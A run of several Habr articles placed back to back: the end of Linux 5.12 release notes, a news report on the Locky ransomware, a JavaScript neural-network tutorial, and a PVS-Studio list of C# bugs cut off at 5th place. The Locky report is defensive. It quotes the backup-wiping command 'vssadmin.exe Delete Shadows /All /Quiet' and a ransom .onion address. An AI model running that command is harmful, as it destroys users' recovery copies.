Integrity Measurement Architecture позволяет измерять данные в файлах и буферных массивах. Однако различные структуры данных, политики и состояния, хранящиеся в памяти ядра, тоже влияют на целостность системы. До недавнего времени IMA не обладала обобщенной функцией для измерения критически важных данных целостности ядра. Сейчас подобная возможность уже присутствует в подсистеме IMA.
#### Криптография
Из кода ядра удалены некоторые алгоритмы хэшей:
* RIPE-MD 128;
* RIPE-MD 256;
* RIPE-MD 320;
* Tiger 128;
* Tiger 160;
* Tiger 190.
Такая же судьба постигла алгоритм потокового шифрования Salsa20, а blake2 подтянулся до blake2s.
В картах eMMC стало возможным использовать встроенное шифрование.
### ▍- Nintendo 64
Хорошие новости для ретро-игроманов, в новой версии Linux наконец-то появилась поддержка игровой консоли Nintendo пятого поколения.

В далеком 1996 г․ компания выпустила игровую приставку Nintendo 64. Консоль была оснащена 64-битным процессором NEC VR4300 (MIPS R4300i) с тактовой частотой 93.75 МГц и стала самой производительной среди приставок середины 1990-х гг.
### ▍- Чипы и чипсеты
В Linux 5.12 было значительное число обновлений для архитектуры x86 и ARM.
#### x86
В настоящее время существует созданная сообществом, с помощью обратной разработки, поддержка Microsoft Surface System Aggregation Module (SAM). The system aggregation module в своей основе — это встроенный контроллер, найденный в более поздних версиях аппаратного обеспечения Surface. SAM отвечает за обработку состояния батареи, тепловую отчетность, ввод с сенсорной панели, поведение скрытой клавиатуры и многое другое.
Платформа Lenovo IdeaPad получила поддержку:
* подсветка клавиатуры;
* всегда на зарядке USB;
* повторное включение управления сенсорной панелью.
Также ACPI драйвер Lenovo ThinkPad теперь может управлять языковыми настройками клавиатуры и управлять режимами энергопотребления. Lenovo ThinkPad X1 Tablet Gen 2 обзавелся драйвером с поддержкой подсистемы HID.
#### ARM
В число поддерживаемых платформ, плат и устройств добавлены:
* ASUS ASUS Zenfone 2 Laser смартфон;
* Beacon i.MX8M Nano;
* Beacon EmbeddedWorks (на платах RZ/G2H и RZ/G2N);\
* Boundary Devices i.MX8MM Nitrogen SBC;
* BQ Aquaris X5 a. k. a. Longcheer L8910 смартфон;
* Intel eASIC N5X;
* NanoPi M4B;
* OnePlus6 / OnePlus6T смартфон;
* Netgear R8000P Wi-Fi маршрутизатор;
* PineTab Early Adopter tablet;
* Plymovent BAS;
* Plymovent M2M;
* Purism Librem5 Evergreen смартфон;
* Samsung GT-I907 смартфон;
* Snapdragon 888 / SM8350;
* Snapdragon MTP;
* Sony Xperia Z3+/Z4/Z5 смартфоны.
Некоторые платформы ARM подверглись чистке ввиду отсутствия сколь-нибудь значимого количества устройств с ОС Linux, либо ввиду отсутствия поддержки со стороны производителя.
* efm32;
* picoxcell;
* prima2/atlas;
* tango;
* u300;
* zte zx.
ARM64 также имеет немало обновлений для SoC драйвером, также в подсистеме KVM обновился код PMU (Performance Monitoring Unit) до ARMv8.
#### RISC-V
Появилась начальная поддержка SoC SiFive FU740, анонсированного в конце прошлого года. Этот чип используется на плате разработки HiFive Unmatched. Другим новшеством для платформы стала поддержка технологии NUMA.
[](https://habr.com/ru/company/ruvds/blog/557204/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=temujin%0A&utm_content=reliz_linux_5_12__podrobnosti_dlya_lokalxosta) | https://habr.com/ru/post/557474/ | null | ru | null |
# Новый криптовымогатель «Locky»
Исследователями в области информационной безопасности был обнаружен новый тип ransomwave — вредоносной программы, шифрующей пользовательские файлы и требующей выкуп в bitcoin. Новый криптовымогатель, который сами создатели назвали «locky», распространяется не совсем стандартным для подобного ПО способом — при помощи макроса в Word-документах.
По словам специалиста по информационной безопасности [Лоуренса Абрамса](http://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/), криптовымогатель маскируется под выставленный пользователю счет и приходит жертве по почте:
[](https://habrastorage.org/files/054/73e/8f5/05473e8f56cf4c30b9dfb7a26988a27c.png)
*Кликабельно*
Прикрепленный файл имеет имя вида invoice\_J-17105013.doc, а при его открытии пользователь увидит только фарш из символов и сообщение о том, что «если текст не читабелен, включите макросы».

При включении макросов начинается загрузка исполняемого файла зловреда с удаленного сервера и его установка на компьютер жертвы.

*Так выглядит вредоносный макрос*
Изначально загруженный файл, из которого и производится дальнейшая установка Locky, хранится в папке %Temp%, однако, после старта шифрования пользовательских данных он удаляется.
В начале своей работы Locky присваивает жертве уникальный шестнадцатеричный номер и после начинает сканировать все локальные диски, а также скрытые и сетевые папки. Для шифрования пользовательских данных зловред использует AES-шифрование. Под удар подпадают файлы следующих расширений (и только они):
```
.mid, .wma, .flv, .mkv, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .qcow2, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .tar.bz2, .tbk, .bak, .tar, .tgz, .rar, .zip, .djv, .djvu, .svg, .bmp, .png, .gif, .raw, .cgm, .jpeg, .jpg, .tif, .tiff, .NEF, .psd, .cmd, .bat, .class, .jar, .java, .asp, .brd, .sch, .dch, .dip, .vbs, .asm, .pas, .cpp, .php, .ldf, .mdf, .ibd, .MYI, .MYD, .frm, .odb, .dbf, .mdb, .sql, .SQLITEDB, .SQLITE3, .asc, .lay6, .lay, .ms11 (Security copy), .sldm, .sldx, .ppsm, .ppsx, .ppam, .docb, .mml, .sxm, .otg, .odg, .uop, .potx, .potm, .pptx, .pptm, .std, .sxd, .pot, .pps, .sti, .sxi, .otp, .odp, .wks, .xltx, .xltm, .xlsx, .xlsm, .xlsb, .slk, .xlw, .xlt, .xlm, .xlc, .dif, .stc, .sxc, .ots, .ods, .hwp, .dotm, .dotx, .docm, .docx, .DOT, .max, .xml, .txt, .CSV, .uot, .RTF, .pdf, .XLS, .PPT, .stw, .sxw, .ott, .odt, .DOC, .pem, .csr, .crt, .key, wallet.dat
```
Locky игнорирует файлы, путь в которых содержит следующие элементы:
```
tmp, winnt, Application Data, AppData, Program Files (x86), Program Files, temp, thumbs.db, $Recycle.Bin, System Volume Information, Boot, Windows
```
При шифровании данных зловред переименовывает файлы по принципу [unique\_id] [идентификатор] .locky. В итоге файл test.jpg был переименован в нечто вида F67091F1D24A922B1A7FC27E19A9D9BC.locky.
Отдельно следует заметить, что Locky шифрует и сетевые диски, поэтому всем системным администраторам следует обратить внимание на политики доступа и максимально ограничить возможности пользователей. Но и это не все. Locky также удаляет все теневые копии файлов, чтобы пользователь не мог восстановить даже то, с чем он недавно работал. Реализовано это следующей командой:
```
vssadmin.exe Delete Shadows /All /Quiet
```
После того, как все, до чего смог дотянуться зловред, зашифровано, он создает на рабочем столе и в каждой папке файл \_Locky\_recover\_instructions.txt, в котором объясняется, жертвой чего стал пользователь, а также инструкции по выкупу своих данных.

Чтобы пользователь на забывал, что с ним произошло, Locky любезно меняет даже обои рабочего стола на изображение с текстом, дублирующим содержание \_Locky\_recover\_instructions.txt:

В файле \_Locky\_recover\_instructions.txt содержится ссылка на сайт в Tor-сети (6dtxgqam4crv6rr6.onion) под названием Locky Decrypter Page.

Там даются четкие указания, как, сколько и куда биткоинов купить и перевести. После оплаты «услуг» пользователю предоставляется ссылка на дешифровщик, который восстановит все данные.
Другой специалист в области информационной безопасности, [Кевин Беумонт](https://medium.com/@networksecurity/you-your-endpoints-and-the-locky-virus-b49ef8241bea#.gsam17kiq) так же провел исследование Locky. По его данным, зловред уже получил серьезное распространение и это может быть началом «эпидемии»:

Для наглядности Кевин визуализировал сетевую активность Locky (каждая точка — зараженная машина):
> Live [#Locky](https://twitter.com/hashtag/Locky?src=hash) visualisation. [pic.twitter.com/tVRULtidNT](https://t.co/tVRULtidNT)
>
> — Kevin Beaumont (@GossiTheDog) [17 февраля 2016](https://twitter.com/GossiTheDog/status/700034174997172224)
> Трафик Locky варьируется от 1 до 5 запросов в секунду. Таким образом, к концу сегодняшнего дня, жертвами криптовымогателя могут стать еще до 100 000 компьютеров по всему миру, кроме уже зараженных, что делает Locky беспрецедентным явлением в области кибербезопасности.
Вчера, по данным Кевина, Locky заражал до 18 000 компьютеров в час, а уже сегодня эта цифра может быть значительно больше. Еще печальнее то, что пока Locky детектится всего 5 антивирусами из 54 протестированных:
> Low VirusTotal detection rate for [#Locky](https://twitter.com/hashtag/Locky?src=hash) Ransomware 5/54 [pic.twitter.com/HN19SqFZid](https://t.co/HN19SqFZid)
>
> — PhysicalDrive0 (@PhysicalDrive0) [17 февраля 2016](https://twitter.com/PhysicalDrive0/status/700100476688183297)
Как говорится, лучшая контрацепция — это воздержание, поэтому пока лучшим способом уберечь себя от Locky является удаление или игнорирование писем от неизвестных адресатов и запрет на выполнение макросов в MS Office. | https://habr.com/ru/post/277467/ | null | ru | null |
# Нейронные сети на JS. Создавая сеть с нуля

Нейронные сети сейчас в тренде. Каждый день мы читаем про то, как они учатся писать комментарии в интернете, торговаться на рынках, обрабатывать фотографии. Список бесконечен. Когда я впервые посмотрел на масштаб кода, который приводит это в движение, я был напуган и хотел больше не видеть эти исходники.
Но врожденные любознательность и энтузиазм довели меня до того, что я стал одним из разработчиков Synaptic — проекта фреймворка для построения нейронных сетей на JS с 3к+ звезд на GitHub. Сейчас мы с автором фреймворка занимаемся созданием Synaptic 2.0 с ускорением на GPU и WebWorker-ах и с поддержкой почти всех основных фич любого приличного NN-фреймворка.
В итоге оказалось, что нейронные сети — это несложно, они работают на достаточно простых принципах, которые несложно понять и воспроизвести. Самая трудная задача — это обучение, но для этого почти всегда пользуются готовыми алгоритмами, а скопировать их не очень сложно.
Доказать это просто. Ниже в статье реализация нейронной сети с нуля без каких-либо библиотек.
Для начала — маленькая предыстория.
В конце октября я выступал с докладом на мероприятии #ITsubbotnik в Петербурге и начал тему, которую решил продолжить здесь. Давайте поговорим о том, как написать с нуля нейронную сеть на JavaScript.
Если вы были на первой части моего выступления или посмотрели его на [youtube](https://www.youtube.com/watch?v=PusDheGpO5M), то можете пропустить следующие несколько абзацев — это краткий пересказ её же.
Что такое нейронная сеть?
-------------------------
Лучшее из определений я услышал от одного умудренного опытом человека на конференции. Он сказал, что нейронные сети — это просто красивое название, которое придумали, потому что на определение "цепочки операций над матрицами" грант получить куда сложнее.
В общем-то это очень точно описывает реальную ситуацию с нейронными сетями. Это крутая и мощная технология, но хайпа вокруг нее больше, чем реальной информации. Тот же самый Google Brain, делающий вещи вроде ["нейронная сеть изобрела алгоритм шифрования"](https://geektimes.ru/post/281998/), стабильно подвергается высмеиванию за них в тематических сообществах, так как кардинально новых идей в таких вещах не содержится, и делаются они, в первую очередь, для привлечения внимания и пиара компании.
Чтобы объяснить, что такое сеть, нужно зайти немного издалека.
С точки зрения Data Scientist-ов (еще есть точка зрения нейробиологов, например) нейронная сеть — это один из инструментов моделирования какого-либо физического процесса. И любой из инструментов моделирования работает следующим образом:
* мы совершаем значимое количество наблюдений
* мы собираем ключевую информацию для каждого из этих наблюдений
* из этой информации мы получаем знание
* через это знание мы находим решение
Линейная зависимость
--------------------
В качестве примера можно взять металлургию. Представим, что у нас есть сплав из 2 металлов. Если мы берем 80% чугуна и 20% алюминия (например), балка из такого сплава сломается, если на нее будет давить одна тонна. Если берем 70%+30% — она сломается, если будет давить 2 тонны. 60%+40% — 3 тонны.
Можно предположить, что вариант 50%+50% должен выдержать 4 тонны. В жизни все работает немного иначе, но упрощая — можно представить себе, что оно так работает.
В реальной жизни это обычно приводит к тому, что огромное количество наблюдений уже есть, и на их базе можно построить какую-то математическую модель, которая давала бы, например, такой ответ- какие характеристики будут у металла из таких-то составляющих, например.
Одним из самых простых и эффективных инструментов является линейная регрессия. Пример выше — где % в сплаве прямо пропорционален максимальной нагрузке — является линейной регрессией.
В общем виде линейная регрессия выглядит следующим образом:
```
function predict(x1, x2, x3..., xN) {
return weights.x1 * x1
+ weights.x2 * x2
+ ...
+ weights.xN * xN
+ weights.bias;
}
```
Стоит запомнить термин "weight", вес. В дальнейших примерах он тоже будет использоваться. Весом (или значимостью) каждого параметра называется его значимость в нашей предсказательной модели — а и нейронная сеть, и линейная регрессия — всё суть модели для предсказания.
Вес “bias”, или в переводе на русский “сдвиг” — это дополнительный параметр, который характеризует значение в нуле.
Например, в известной (пусть и не очень корректной) формуле "правильный вес должен быть равен росту — 100" — `weight = height - 100` — bias равен -100, а весомость роста — единице.
Нелинейная зависимость
----------------------
Иногда возникают ситуации, когда нам нужно найти зависимости более высоких порядков.
Одним из хороших примеров для изучения является датасет (набор данных) титаника со статистикой по выжившим людям.
Если поиграться с [интерактивной визуализацией](https://www.jasondavies.com/parallel-sets/), можно увидеть, что в среднем женщин выжило больше. Однако если углубиться в детали, заметим, что среди экипажа и третьего класса — процент выживания был куда меньше. Чтобы построить более точную предсказательную модель, нам нужно каким-то образом записать в ней — "если это женщина и она из 1 класса, то она имела +10% вероятности выжить".
Ребята от науки предложили простую схему — такие параметры назвать дополнительными фичами и использовать их в оригинальной функции. То есть к нашим x1, x2, x3 и так далее добавляется еще один xN+1, который равен 1, если это женщина из первого класса, и 0, если нет. Потом появляются еще и еще параметры, и мы начинаем все это учитывать в наших расчетах.
Как на языке математики можно описать функцию "если *условие*, то 1, иначе 0"?
Если решать задачу в лоб, сделав аналог тернарного оператора, то у нас будет функция, график для которой выглядит так:

Но можно поступить умнее, оставив себе кучу лазеек. Дело в том, что с подобным графиком сложно работать. Из-за разрыва от него нельзя, например, взять производную, или совершить еще десяток интересных трюков. Поэтому вместо такой "ломанной" функции обычно используются непрерывные и непрерывно возрастающие функции, например, сигмоида — `1 / (1 + Math.E ** -x)`. Выглядит она так:

Работает оно очень похоже — в -1 значение близко к 0, а в 1 — близко к 1, но мы получаем более эффективную обратную связь: по полученному значению мы можем понять, насколько мы близко или далеко от правильного ответа — в отличии от оригинальной ломаной функции, по которой мы можем только понять, правильно мы ответили или ошиблись: если мы получали 1, а ожидали 0, то мы не знали, насколько нужно двигаться влево по графику, чтобы получить все-таки 0.
Эта функция называется функцией активации.
В итоге мы получаем новый параметр через функцию вида
```
const activation_sigmoid = x => 1 / (1 + Math.exp(-x));
function predict(x1, x2, x3..., xN) {
return activation_sigmoid(
weights.x1 * x1
+ weights.x2 * x2
+ ...
+ weights.xN * xN
+ weights.bias);
}
```
Такая функция называется перцептроном.
Перцептрон — это простейший вид нейронной сети, не имеющий скрытых слоев. В визуальном представлении он выглядит как-то так:

Если посмотреть на картинку из статьи "нейронная сеть" на википедии, то можно заметить очень большую схожесть:

И мы подошли к определению нейронной сети с точки зрения реализации.
Классическая нейронная сеть — это всего лишь цепочка поочередно линейных и нелинейных преобразований входных данных. Есть исключения, но обычно у них просто более хитрая (читай, нелинейная) структура сети.
В наиболее простом и "каноничном" случае — не говоря про распознавание изображений или обработку текстов — нейронная сеть является набором слоев, каждый из которых состоит из нейронов. Каждый из нейронов суммирует все параметры с предыдущего слоя с какими-то специфичными для этого нейрона весами, после чего пропускает сумму через функцию активации.
Если это показалось слишком сложным, просто читайте дальше: в коде это выглядит куда проще.
Нейронная сеть в коде
---------------------
С нейронными сетями самым популярным примером является реализация [XOR](https://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8E_2), это своеобразный Hello World для изучающих data science.
Особенность XOR заключается как раз в том, что это простейшая нелинейная функция — реализация в качестве линейной регрессии для нее невозможна (читай, нельзя провести линию через все значения).
Датасет для нее выглядит таким образом:
```
var data = [
{input: [0, 0], output: 0},
{input: [1, 0], output: 1},
{input: [0, 1], output: 1},
{input: [1, 1], output: 0},
];
```
Итак, нам нужно как-то реализовать XOR исключительно с помощью сложений и нелинейной функции, которое на вход принимает одно число.
Вот как выглядит такая реализация (пока без нейронной сети):
```
var activation = x => x >= .5 ? 1 : 0;
function xor(x1, x2) {
var h1 = activation(-x1 + x2);
var h2 = activation(+x1 - x2);
return activation(h1 + h2);
}
```
Где h1 и h2 — это скрытые параметры.
Или, если попытаться добавить веса, то получается:
```
var activation = x => x >= .5 ? 1 : 0;
var weights = {
x1_h1: -1,
x1_h2: 1,
x2_h1: 1,
x2_h2: -1,
bias_h1: 0,
bias_h2: 0
}
function xor(x1, x2) {
var h1 = activation(
weights.x1_h1 * x1
+ weights.x2_h1 * x2
+ weights.bias_h1);
var h2 = activation(
weights.x1_h2 * x1
+ weights.x2_h2 * x2
+ weights.bias_h2);
return activation(h1 + h2);
}
```
Как выглядит наша функция нейронной сети? Ну, мы заменяем веса на случайные значения.
```
var rand = Math.random;
var weights = {
i1_h1: rand(),
i2_h1: rand(),
bias_h1: rand(),
i1_h2: rand(),
i2_h2: rand(),
bias_h2: rand(),
h1_o1: rand(),
h2_o1: rand(),
bias_o1: rand(),
};
```
При попытке запустить сеть мы получаем кашу.
Теперь перед нами встает задача "найти наиболее правильные веса". Зачем мы это сделали?
В случае с XOR мы знаем точную логику, по которой эта функция должна работать, но вот в случае с реальными условиями, мы почти никогда не понимаем, как работает процесс, который мы пытаемся описать, и у нас есть только набор наблюдений, наш датасет. Мы учим нейронную сеть воспроизводить этот "черный ящик", с которым мы связались, и у нее это обычно довольно неплохо получается при достаточном количестве узлов в скрытых слоях. Более того, математически доказано, что однослойная сеть с бесконечным количеством нейронов может с бесконечно большой точностью "эмулировать" абсолютно любую функцию (теорема об универсальном аппроксиматоре).
Вернемся к поиску правильных весов. Чтобы выполнить его, нам необходимо сначала понять, что мы хотим уменьшить. Нам нужна какая-то функция, которая позволяет определить, насколько сильно мы ошиблись. А при попытке изменить наши веса — понять, движемся ли мы в правильном направлении или нет.
Наиболее популярны для этих задач две функции: [метод наименьших квадратов](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%BD%D0%B0%D0%B8%D0%BC%D0%B5%D0%BD%D1%8C%D1%88%D0%B8%D1%85_%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D1%82%D0%BE%D0%B2), когда берется среднее квадратов ошибок (она удобна для задач регрессии, когда на выходе у нас значение, например, между 0 и 1, или 10 значений от -100 до 1250 — главное, что они могут находиться в данном диапазоне) и т.н. [LogLoss или перекрестная энтропия](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D0%BA%D1%80%D1%91%D1%81%D1%82%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BD%D1%82%D1%80%D0%BE%D0%BF%D0%B8%D1%8F), логарифмическая оценка потерь, которая эффективна для задач классификации, когда мы пытаемся, например, определить, какую из цифр или букв видит наша нейронная сеть.
Для XOR мы будем использовать среднее квадратов ошибок.
```
const _ = require('lodash');
var calculateError = () =>
_.mean(data.map(({input: [i1, i2], output: y}) =>
(nn(i1, i2) - y) ** 2));
```
Ученье — свет
-------------
Настало время учить нашу сеть.
Немного отступая назад, нам стоит разобраться, как "обучается" линейная регрессия. Работает она следующим образом — у нас есть тот же самый MSE (mean squared error), и мы пытаемся его уменьшить. Если вспомнить курс математики, то график квадрата от X выглядит так:

И наша задача — скатиться к самому минимуму этой параболы.
Чтобы скатиться к этому минимуму — нам нужно посмотреть по сторонам и понять, где у нас ошибка больше, а где меньше. А потом двинуться в сторону уменьшения. Это можно сделать числовыми способами (посмотреть значение для +1 и для -1 и посчитать, куда надо двигаться), а можно математически — взяв производную, которая характеризует скорость изменения функции. Говоря иначе, если при увеличении какого-либо параметра ошибка увеличивается, то производная ошибки будет положительной (мы в правой части параболы), и наоборот. Мы добавляем умноженную на наши веса производную к нашим же весам, и пошагово приближаемся к ответу с наименьшей ошибкой, пока не надоест или пока не достигнем локального минимума. Говоря еще проще — если мы берем производную и она положительная, то для этого конкретного значения при увеличении значения на входе ошибка будет расти, а при уменьшении — уменьшаться.
Если представить себе это визуально, выглядеть это будет как-то так:

*В комментариях пишут, что изначально эта картинка из [курса Andrew Ng](https://ru.coursera.org/learn/machine-learning)*
Если мы представим нашу функцию ошибки как (f(x) — y) \* *2, то производная от нее будет равна 2* (f(x) — y) f'(x). [Пруф](https://www.wolframalpha.com/input/?i=dx(f(x)-y))
Поскольку нейронная сеть из полносвязных слоев (то есть та, про которую мы сейчас говорим) это просто цепочка таких линейных регрессий, то нам всего-то нужно для каждого слоя посчитать эту производную и домножить на нее наши коэффициенты-веса.
Вживую
------
Наверное, пора просто показать код с объяснением происходящего.
Вставлять такой объем кода в хабр — довольно жестокое занятие, поэтому я выложил код с большим количеством комментариев на RunKit:
[<https://runkit.com/jabher/neural-network-from-scratch-in-js>](https://runkit.com/jabher/neural-network-from-scratch-in-js)
и на русском:
[<https://runkit.com/jabher/neural-network-from-scratch-in-js---ru>](https://runkit.com/jabher/neural-network-from-scratch-in-js---ru)
и на всякий случай — дубль кода в [gist.github.com](https://gist.github.com/Jabher/8ad6e4289ad64cac9577d7a26e588c59)
Заключение
----------
Конечно, нейронные сети гораздо более сложны. Можно, например, посмотреть схему [Inception 3](https://transcranial.github.io/keras-js/#/inception-v3), которая распознает изображения на картинке. В таких сетях есть множество хитрых слоев, которые и работают, и обучаеются сложнее, чем то, что мы увидели сейчас, но суть остается одной и той же — перемножь матрицы, посчитай ошибку, открути ошибку в обратную сторону.
А если вы хотите поучаствовать в разработке фреймворка для нейронных сетей, [подключайтесь к нам с Cazala](https://github.com/cazala/synaptic/issues/140). | https://habr.com/ru/post/317050/ | null | ru | null |
# Top 10 bugs found in C# projects in 2021
In 2021 we published several articles and showed you errors found in open-source projects. The year 2021 ends, which means it's time to present you the traditional top 10 of the most interesting bugs. Enjoy!
### A little introduction
As in the [2020 article](https://habr.com/en/company/pvs-studio/blog/534832/), we ranged warnings according to the following principles:
* there's a high probability that an error is present in code;
* this error must be interesting, rare and unusual;
* the warnings in the list must be diverse — you don't want to read about the same errors, right?
We must admit that there were few articles about C# projects check. The warnings in this list are often from the same projects. Somehow it happened that most of the warnings were taken from articles about [DNN](https://pvs-studio.com/en/blog/posts/csharp/0890/) and [PeachPie](https://pvs-studio.com/en/blog/posts/csharp/0855/).
On the other hand, the errors found this year don't look alike — all the warnings were issued by different diagnostics!
With a heavy heart I crossed out warnings that were good but less interesting than others. Sometimes I had to cross out warnings for the sake of top variety. So, if you like reviews of the analyzer warnings, you can look at [other articles](https://pvs-studio.com/en/blog/posts/csharp/). Who knows, maybe you'll be impressed by something I haven't written about. Comment with your own top 10 – I'll happily read them :).
### 10th place. Time's not changing
We start our top with a warning from the [PeachPie article](https://pvs-studio.com/en/blog/posts/csharp/0855/):
```
using System_DateTime = System.DateTime;
internal static System_DateTime MakeDateTime(....) { .... }
public static long mktime(....)
{
var zone = PhpTimeZone.GetCurrentTimeZone(ctx);
var local = MakeDateTime(hour, minute, second, month, day, year);
switch (daylightSaving)
{
case -1:
if (zone.IsDaylightSavingTime(local))
local.AddHours(-1); // <=
break;
case 0:
break;
case 1:
local.AddHours(-1); // <=
break;
default:
PhpException.ArgumentValueNotSupported("daylightSaving", daylightSaving);
break;
}
return DateTimeUtils.UtcToUnixTimeStamp(TimeZoneInfo.ConvertTime(local,
....));
}
```
PVS-Studio warnings:
* [V3010](https://pvs-studio.com/en/docs/warnings/v3010/) The return value of function 'AddHours' is required to be utilized. DateTimeFunctions.cs 1232
* [V3010](https://pvs-studio.com/en/docs/warnings/v3010/) The return value of function 'AddHours' is required to be utilized. DateTimeFunctions.cs 1239
These warning say the same thing, so I decided to unite them.
The analyzer says that the call results should be written somewhere. Otherwise they just don't make sense. Methods like *AddHours* don't change the source object. Instead, they return a new object, which differs from the source one by the number of hours written in the argument call. It's hard to say how severe the error is, but the code works incorrectly.
[Such errors](https://pvs-studio.com/en/blog/examples/v3010/) are often related to strings, but sometimes you can meet them when working with other types. They happen because developers misunderstand the work of the "changing" methods.
### 9th place. The fourth element is present, but you'd better get an exception
The 9th place is for the warning from the [Ryujinx article](https://pvs-studio.com/en/blog/posts/csharp/0840/):
```
public uint this[int index]
{
get
{
if (index == 0)
{
return element0;
}
else if (index == 1)
{
return element1;
}
else if (index == 2)
{
return element2;
}
else if (index == 2) // <=
{
return element3;
}
throw new IndexOutOfRangeException();
}
}
```
PVS-Studio warning: [V3003](https://pvs-studio.com/en/docs/warnings/v3003/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 26, 30. ZbcSetTableArguments.cs 26
Obviously, everything will be fine until someone wants to get the third element. And if they do so, an exception is thrown. That's okay, but why is there a never-running block with *element3*?
Surprisingly, situations caused by typos with numbers 0,1,2 are frequent in developing. There's a whole [article](https://pvs-studio.com/en/blog/posts/cpp/0713/) about that — I highly recommend you read it. And we're moving on.
### 8th place. Useful Debug.WriteLine call
I took this warning from the [PeachPie article](https://pvs-studio.com/en/blog/posts/csharp/0855/) mentioned above. It's fascinating that the code looks completely normal and not suspicious at all:
```
public static bool mail(....)
{
// to and subject cannot contain newlines, replace with spaces
to = (to != null) ? to.Replace("\r\n", " ").Replace('\n', ' ') : "";
subject = (subject != null) ? subject.Replace("\r\n", " ").Replace('\n', ' ')
: "";
Debug.WriteLine("MAILER",
"mail('{0}','{1}','{2}','{3}')",
to,
subject,
message,
additional_headers);
var config = ctx.Configuration.Core;
....
}
```
What's wrong with it? Everything looks okay. Assignments are made, then an overload of *Debug.WriteLine* is called. As a first argument, this overload takes... Wait! What's the correct order of the arguments here?
Well, let's look at the *Debug.WriteLine* declaration:
```
public static void WriteLine(string format, params object[] args);
```
According to the signature, the format string should be passed as the first argument. In the code fragment, the first argument is "MAILER", and the actual format goes into the *args* array, which doesn't affect anything at all.
PVS-Studio warns that all formatting arguments are ignored: [V3025](https://pvs-studio.com/en/docs/warnings/v3025/): Incorrect format. A different number of format items is expected while calling 'WriteLine' function. Arguments not used: 1st, 2nd, 3rd, 4th, 5th. Mail.cs 25
As a result, the output will simply be "MAILER" without any other useful information. But we'd like to see it :(.
### 7th place. Just one more question
The 7th place is again for the warning from [PeachPie](https://pvs-studio.com/en/blog/posts/csharp/0855/).
Often developers miss null *checks*. A particularly interesting situation is when a variable was checked in one place and wasn't in another (where it can also be null). Maybe developers forgot to do that or just ignored it. We can only guess whether the check was redundant or we need to add another check somewhere in code. The checks for null don't always require comparison operators: for example, in the code fragment below the developer used a [null-conditional operator](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/member-access-operators):
```
public static string get_parent_class(....)
{
if (caller.Equals(default))
{
return null;
}
var tinfo = Type.GetTypeFromHandle(caller)?.GetPhpTypeInfo();
return tinfo.BaseType?.Name;
}
```
Warning [V3105](https://pvs-studio.com/en/docs/warnings/v3105/): The 'tinfo' variable was used after it was assigned through null-conditional operator. NullReferenceException is possible. Objects.cs 189
The developer thinks that the Type.GetTypeFromHandle(caller) call can return null. That's why they used "?." to call GetPhpTypeInfo. According to the [documentation](https://docs.microsoft.com/en-us/dotnet/api/system.type.gettypefromhandle?view=net-5.0), it's possible.
Yes, "?." saves from one exception. If the GetTypeFromHandle call does return null, then null is also written to the tinfo variable. However, if we try to access the BaseType property, another exception is thrown. When I looked through the code, I came to the conclusion that another "?" is missing: return tinfo**?**.BaseType?.Name;
However, only developers can fix this problem. That's exactly what they did after we sent them a bug report. Instead of an additional *null* check they decided to explicitly throw an exception if *GetTypeFromHandle* returns *null*:
```
public static string get_parent_class(....)
{
if (caller.Equals(default))
{
return null;
}
// cannot be null; caller is either default or an invalid handle
var t = Type.GetTypeFromHandle(caller)
?? throw new ArgumentException("", nameof(caller));
var tinfo = t.GetPhpTypeInfo();
return tinfo.BaseType?.Name;
}
```
We had to format the code for this article. You can find this method by following the [link](https://github.com/peachpiecompiler/peachpie/blob/184db15f049af5b8ce132581f96d47a5290f5467/src/Peachpie.Library/Objects.cs).
### 6th place. Week that lasted a day
Sometimes it seems that time slows down. You feel like a whole week has passed, but it's been only one day. Well, on the 6th place we have a warning from the [DotNetNuke article](https://pvs-studio.com/en/blog/posts/csharp/0890/). The analyzer was triggered by the code where a week contains only one day:
```
private static DateTime CalculateTime(int lapse, string measurement)
{
var nextTime = new DateTime();
switch (measurement)
{
case "s":
nextTime = DateTime.Now.AddSeconds(lapse);
break;
case "m":
nextTime = DateTime.Now.AddMinutes(lapse);
break;
case "h":
nextTime = DateTime.Now.AddHours(lapse);
break;
case "d":
nextTime = DateTime.Now.AddDays(lapse); // <=
break;
case "w":
nextTime = DateTime.Now.AddDays(lapse); // <=
break;
case "mo":
nextTime = DateTime.Now.AddMonths(lapse);
break;
case "y":
nextTime = DateTime.Now.AddYears(lapse);
break;
}
return nextTime;
}
```
PVS-Studio warning: [V3139](https://pvs-studio.com/en/docs/warnings/v3139/) Two or more case-branches perform the same actions. DotNetNuke.Tests.Core PropertyAccessTests.cs 118
Obviously, the function should return *DateTime* that corresponds to some point in time after the current one. Somehow it happened that the 'w' letter (implying 'week') is processed the same way as 'd'. If we try to get a date, a week from the current moment, we'll get the next day!
Note that there's no error with changing immutable objects. Still, it's weird that the code for branches 'd' and 'w' is the same. Of course, there's no AddWeeks standard method in DateTime, but you can add 7 days :).
### 5th place. Logical operators and null
The 5th place is taken by one of my favorite warnings from the [PeachPie article](https://pvs-studio.com/en/blog/posts/csharp/0855/). I suggest that you first take a closer look at this fragment and find an error here.
```
public static bool IsAutoloadDeprecated(Version langVersion)
{
// >= 7.2
return langVersion != null
&& langVersion.Major > 7
|| (langVersion.Major == 7 && langVersion.Minor >= 2);
}
```
Where's the problem?
I think you've easily found an error here. Indeed easy, if you know where to look :). I have to admit that I tried to confuse you and changed formatting a bit. In fact, the logical construction was written in one line.
Now let's look at the version formatted according to operator priorities:
```
public static bool IsAutoloadDeprecated(Version langVersion)
{
// >= 7.2
return langVersion != null && langVersion.Major > 7
|| (langVersion.Major == 7 && langVersion.Minor >= 2);
}
```
